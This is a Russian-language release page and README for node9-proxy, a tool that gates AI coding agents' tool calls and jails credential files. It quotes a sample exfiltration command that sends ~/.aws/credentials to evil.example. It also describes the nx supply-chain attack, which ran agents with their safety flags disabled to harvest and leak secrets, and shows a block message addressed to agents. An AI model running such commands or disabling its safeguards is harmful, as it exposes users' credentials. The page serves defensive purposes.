Назад к обновлениям
New releaseJul 25, 2026

node9-proxy v1.65.1

Уровень безопасности выполнения для эры агентов. Обеспечивает детерминированное управление «Sudo» и журналы аудита для автономных ИИ-агентов.

Поделиться

🛡️ node9

IAM для ваших AI-агентов

Ваши AI-агенты могут дотянуться до Slack, GitHub, электронной почты и вашей базы данных.
node9 решает, что им позволено делать с каждым из них.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

Тюрьма для учётных данных · секреты и PII · разрушительные git, SQL и shell-команды удерживаются на проверку · закрепление MCP-инструментов · список разрешённых исходящих соединений · разрыв цикла · одна запись на двенадцать агентов

Работает с Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · любым MCP-сервером.

Как это выглядит

Ваш агент слева, node9 справа. Каждый вызов инструмента, который делает агент, проверяется перед выполнением: разрешён и записан, удержан для вашего одобрения или заблокирован. Агент здесь был запущен с --dangerously-skip-permissions, и node9 всё равно решает.

node9 monitor: live tool calls, decisions, shields and score

Установка

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Затем в любом проекте:

node9 init       # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Требуется Node.js 22+.

init — это весь продукт. Он прописывает хуки, включает тюрьму для учётных данных и постоянно активные правила и немедленно начинает применять их. Ничего не покидает машину, и учётная запись не нужна.

login ничего не добавляет к применению правил. Он подключает машину к рабочему пространству, чтобы команда могла видеть одну запись со всех ноутбуков и CI, централизованно задавать политику и одобрять удержанные действия из дашборда или Slack. Пропустите его, и node9 работает точно так же — автономно, офлайн. node9 logout снова отключает, а локальное применение правил продолжает работать.

Проблема

В августе 2025 года скомпрометированные релизы инструмента сборки nx содержали post-install скрипт, который искал уже установленные на машине разработчика AI-агенты для программирования, а затем запускал их с отключёнными собственными флагами безопасности (--dangerously-skip-permissions, --yolo, --trust-all-tools), чтобы перечислить SSH-ключи, облачные учётные данные и файлы кошельков и записать список на диск. Скрипт отправлял результаты в публичные репозитории внутри собственных GitHub-аккаунтов жертв. Утекло более тысячи действующих GitHub-токенов, а также облачные учётные данные, npm- токены и примерно 20 000 файлов — с машин, где агент делал ровно то, что ему велели.

Агент не был атакующим. Агент был инструментом, и между ним и файлами не стояло ничего. Шлюз node9 — не один из тех флагов: он работает в хуке, и действие, которое он удерживает, остаётся удержанным, даже когда агент был запущен с пропущенными проверками разрешений.

Что с этим делает node9

node9 находится между агентом и каждым инструментом, который тот вызывает. Тюрьма для учётных данных (~/.ssh, ~/.aws, файлы .env, приватные ключи) включена по умолчанию, и чтение одного из этих путей не выполняется. Агент останавливается, ему сообщают причину, а решение приходит к вам:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

Команда разбирается как shell AST, а не сопоставляется как текст, поэтому обёртывание чтения не помогает. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example оценивается как чтение ~/.aws/credentials, а не как echo.

node9 — это шлюз. Удержанное действие не выполняется, пока ждёт вас, и если вы никогда не ответите, оно остаётся заблокированным. Всё остальное разрешается и записывается в журнал.

Чего он не делает: при выключенном контроле исходящих соединений, что является значением по умолчанию, команда, которая передаёт файл напрямую в сеть, например curl -d @~/.aws/credentials, не рассматривается как чтение этого файла. node9 egress protect также ограничивает назначения, и он охватывает только shell-команды.

Проверьте сами

Ничто ниже не требует учётной записи, и ничто не загружается.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

Чем он управляет

Каждая строка — одна возможность, со страницей, которая её документирует. Документация — это справочник; этот файл — карта.

Категории